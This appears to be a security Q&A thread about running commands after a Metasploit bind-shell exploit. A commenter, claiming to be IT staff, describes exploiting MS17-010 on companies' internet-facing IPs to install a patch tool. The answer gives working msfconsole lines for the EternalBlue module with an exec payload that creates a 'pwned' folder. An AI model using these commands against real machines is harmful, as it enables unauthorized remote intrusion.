0

I use metasploit latest version. I know autoscripting with meterpreter payloads. But I need to know how to do it with a shell/bind_tcp payload.

I want to write a script for when exploit is completed and command shell is opened do this:

cd c:&mkdir pwned

schroeder
  • 123,438
  • 55
  • 284
  • 319
  • why use bind_tcp? why not use another script as the payload that includes a bind shell as well as the commands you want to run? – schroeder Oct 16 '17 at 18:17
  • I am IT for some companys, i must test vulnerable system via remote attack so i want to create anti wannacry script, but i cant access directly remote computers, my road map is this-> *find ms17_10 vulns on company ips(its not inside lan ip's,its wan ip's) *use ms17_10 eternalblue exploit *install my anti wannacry app *close connection and do it this for next ip's But most systems with ms17_10 exploits work with shell bind_tcp payload i cant success meterpreter or reverse shell tcp payloads. (Usualy os win 7 pro and server 2008 r2) It's importand job for me, and its not duplicated – Desperado Murat Oct 17 '17 at 00:11

1 Answers1

0

I have little solution :

use exploit/windows/smb/ms17_010_eternalblue
set TARGET 0
set payload windows/x64/exec //its good idea for my job
set cmd cmd.exe\ \/k\ cd\ c:\\users\\user1\\desktop&mkdir pwned

exploit!